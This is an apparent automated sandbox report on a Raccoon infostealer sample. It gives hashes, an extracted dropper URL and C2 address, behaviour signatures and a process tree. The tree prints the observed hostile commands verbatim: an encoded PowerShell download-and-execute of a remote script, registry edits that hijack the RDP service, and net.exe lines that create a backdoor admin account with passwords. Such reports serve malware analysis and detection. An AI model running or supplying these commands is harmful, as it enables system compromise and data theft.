Analysis

  • max time kernel
    75s
  • max time network
    118s
  • platform
    windows10_x64
  • resource
    win10v20210410
  • submitted
    02-06-2021 13:52

General

  • Target

    c0b4d836349117b0b91a769ad991724c.exe

  • Size

    568KB

  • MD5

    c0b4d836349117b0b91a769ad991724c

  • SHA1

    cb6ddfd01e6dd7b94572463535d44fb48cfa3b70

  • SHA256

    989a76309e98914e5e73acd337113893430700e42838627c250fb8de76869937

  • SHA512

    4d246abadaa9db5c7bf0f742c73a69d4992b01aebcc64b3681cd3ec4ddfd327bf0825425fed4af8c27df91f19d140ba59a0442f6c129dd5179405b3fb8a64d77

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Extracted

Family

raccoon

Botnet

e46634757936706c1ff491585768dd6fe231db30

Attributes
  • url4cnc

    https://tttttt.me/jdiamond13

rc4.plain
rc4.plain

Signatures

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 9 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 1 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 8 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops file in Program Files directory 4 IoCs
  • Drops file in Windows directory 19 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Delays execution with timeout.exe 1 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Script User-Agent 4 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\c0b4d836349117b0b91a769ad991724c.exe
    "C:\Users\Admin\AppData\Local\Temp\c0b4d836349117b0b91a769ad991724c.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:2016
    • C:\Users\Admin\AppData\Local\Temp\HaoMzVnCT4.exe
      "C:\Users\Admin\AppData\Local\Temp\HaoMzVnCT4.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:2160
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
        3⤵
        • Drops file in Windows directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1264
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\5cgevvv4\5cgevvv4.cmdline"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:3956
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9D9D.tmp" "c:\Users\Admin\AppData\Local\Temp\5cgevvv4\CSC23DF8C72C67B499D8034E2E639AAEEC.TMP"
            5⤵
              PID:3472
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 start rdpdr
              5⤵
                PID:4048
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
              4⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:2212
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
              4⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:184
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
              4⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:3832
            • C:\Windows\system32\reg.exe
              "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
              4⤵
                PID:984
              • C:\Windows\system32\reg.exe
                "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
                4⤵
                • Modifies registry key
                PID:3392
              • C:\Windows\system32\reg.exe
                "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
                4⤵
                  PID:3356
                • C:\Windows\system32\net.exe
                  "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3292
                  • C:\Windows\system32\net1.exe
                    C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                    5⤵
                      PID:2212
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                    4⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2280
                    • C:\Windows\system32\cmd.exe
                      cmd /c net start rdpdr
                      5⤵
                      • Suspicious use of WriteProcessMemory
                      PID:2184
                      • C:\Windows\system32\net.exe
                        net start rdpdr
                        6⤵
                        • Suspicious use of WriteProcessMemory
                        PID:3956
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                    4⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3884
                    • C:\Windows\system32\cmd.exe
                      cmd /c net start TermService
                      5⤵
                      • Suspicious use of WriteProcessMemory
                      PID:2364
                      • C:\Windows\system32\net.exe
                        net start TermService
                        6⤵
                        • Suspicious use of WriteProcessMemory
                        PID:2292
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 start TermService
                          7⤵
                            PID:3948
                    • C:\Windows\system32\cmd.exe
                      "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                      4⤵
                        PID:2272
                      • C:\Windows\system32\cmd.exe
                        "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                        4⤵
                          PID:2364
                    • C:\Windows\SysWOW64\cmd.exe
                      cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\c0b4d836349117b0b91a769ad991724c.exe"
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3332
                      • C:\Windows\SysWOW64\timeout.exe
                        timeout /T 10 /NOBREAK
                        3⤵
                        • Delays execution with timeout.exe
                        PID:572
                  • C:\Windows\System32\cmd.exe
                    cmd /C net.exe user wgautilacc Ghar4f5 /del
                    1⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3532
                    • C:\Windows\system32\net.exe
                      net.exe user wgautilacc Ghar4f5 /del
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3680
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
                        3⤵
                          PID:1260
                    • C:\Windows\System32\cmd.exe
                      cmd /C net.exe user wgautilacc gwizJ61r /add
                      1⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3832
                      • C:\Windows\system32\net.exe
                        net.exe user wgautilacc gwizJ61r /add
                        2⤵
                        • Suspicious use of WriteProcessMemory
                        PID:2768
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 user wgautilacc gwizJ61r /add
                          3⤵
                            PID:1276
                      • C:\Windows\System32\cmd.exe
                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                        1⤵
                        • Suspicious use of WriteProcessMemory
                        PID:3356
                        • C:\Windows\system32\net.exe
                          net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                          2⤵
                          • Suspicious use of WriteProcessMemory
                          PID:3908
                          • C:\Windows\system32\net1.exe
                            C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                            3⤵
                              PID:2296
                        • C:\Windows\System32\cmd.exe
                          cmd /C net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
                          1⤵
                          • Suspicious use of WriteProcessMemory
                          PID:1304
                          • C:\Windows\system32\net.exe
                            net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
                            2⤵
                            • Suspicious use of WriteProcessMemory
                            PID:572
                            • C:\Windows\system32\net1.exe
                              C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
                              3⤵
                                PID:2760
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
                            1⤵
                            • Suspicious use of WriteProcessMemory
                            PID:3012
                            • C:\Windows\system32\net.exe
                              net.exe LOCALGROUP "Administrators" wgautilacc /ADD
                              2⤵
                                PID:3532
                                • C:\Windows\system32\net1.exe
                                  C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
                                  3⤵
                                    PID:1552
                              • C:\Windows\System32\cmd.exe
                                cmd /C net.exe user wgautilacc gwizJ61r
                                1⤵
                                  PID:3700
                                  • C:\Windows\system32\net.exe
                                    net.exe user wgautilacc gwizJ61r
                                    2⤵
                                      PID:3832
                                      • C:\Windows\system32\net1.exe
                                        C:\Windows\system32\net1 user wgautilacc gwizJ61r
                                        3⤵
                                          PID:3976
                                    • C:\Windows\System32\cmd.exe
                                      cmd.exe /C wmic path win32_VideoController get name
                                      1⤵
                                        PID:2060
                                        • C:\Windows\System32\Wbem\WMIC.exe
                                          wmic path win32_VideoController get name
                                          2⤵
                                            PID:4084
                                        • C:\Windows\System32\cmd.exe
                                          cmd.exe /C wmic CPU get NAME
                                          1⤵
                                            PID:2760
                                            • C:\Windows\System32\Wbem\WMIC.exe
                                              wmic CPU get NAME
                                              2⤵
                                                PID:984
                                            • C:\Windows\System32\cmd.exe
                                              cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                              1⤵
                                                PID:2664
                                                • C:\Windows\system32\cmd.exe
                                                  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                  2⤵
                                                    PID:2344
                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                      3⤵
                                                      • Blocklisted process makes network request
                                                      • Drops file in Program Files directory
                                                      • Drops file in Windows directory
                                                      • Modifies data under HKEY_USERS
                                                      • Suspicious behavior: EnumeratesProcesses
                                                      PID:2252
                                                • C:\Windows\System32\cmd.exe
                                                  cmd.exe /C net user wgautilacc 1234
                                                  1⤵
                                                    PID:3292
                                                    • C:\Windows\system32\net.exe
                                                      net user wgautilacc 1234
                                                      2⤵
                                                        PID:3808
                                                        • C:\Windows\system32\net1.exe
                                                          C:\Windows\system32\net1 user wgautilacc 1234
                                                          3⤵
                                                            PID:2760

                                                      Network

                                                      MITRE ATT&CK Enterprise v6

                                                      Replay Monitor

                                                      Loading Replay Monitor...

                                                      Downloads

                                                      • memory/184-215-0x0000014D454E0000-0x0000014D454E2000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/184-216-0x0000014D454E3000-0x0000014D454E5000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/184-217-0x0000014D454E6000-0x0000014D454E8000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/1264-162-0x000001D276DD0000-0x000001D276DD1000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/1264-222-0x000001D25C3D8000-0x000001D25C3D9000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/1264-146-0x000001D276E40000-0x000001D276E41000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/1264-141-0x000001D276B90000-0x000001D276B91000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/1264-139-0x000001D25C3D3000-0x000001D25C3D5000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/1264-157-0x000001D25C3D6000-0x000001D25C3D8000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/1264-138-0x000001D25C3D0000-0x000001D25C3D2000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/1264-168-0x000001D277400000-0x000001D277401000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/1264-169-0x000001D277790000-0x000001D277791000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/2016-114-0x00000000020B0000-0x0000000002141000-memory.dmp

                                                        Filesize

                                                        580KB

                                                      • memory/2016-115-0x0000000000400000-0x0000000000496000-memory.dmp

                                                        Filesize

                                                        600KB

                                                      • memory/2160-132-0x000001EAF8686000-0x000001EAF8687000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/2160-127-0x000001EAF8AC0000-0x000001EAF8EE1000-memory.dmp

                                                        Filesize

                                                        4.1MB

                                                      • memory/2160-131-0x000001EAF8685000-0x000001EAF8686000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/2160-129-0x000001EAF8680000-0x000001EAF8682000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/2160-130-0x000001EAF8683000-0x000001EAF8685000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/2212-211-0x000001CBB9526000-0x000001CBB9528000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/2212-189-0x000001CBB9520000-0x000001CBB9522000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/2212-212-0x000001CBB9528000-0x000001CBB952A000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/2212-190-0x000001CBB9523000-0x000001CBB9525000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/2252-257-0x00000189D8B58000-0x00000189D8B59000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/2252-254-0x00000189D8B50000-0x00000189D8B52000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/2252-255-0x00000189D8B53000-0x00000189D8B55000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/2252-256-0x00000189D8B56000-0x00000189D8B58000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/3832-219-0x000001A87F043000-0x000001A87F045000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/3832-220-0x000001A87F046000-0x000001A87F048000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/3832-218-0x000001A87F040000-0x000001A87F042000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/3832-221-0x000001A87F048000-0x000001A87F04A000-memory.dmp

                                                        Filesize

                                                        8KB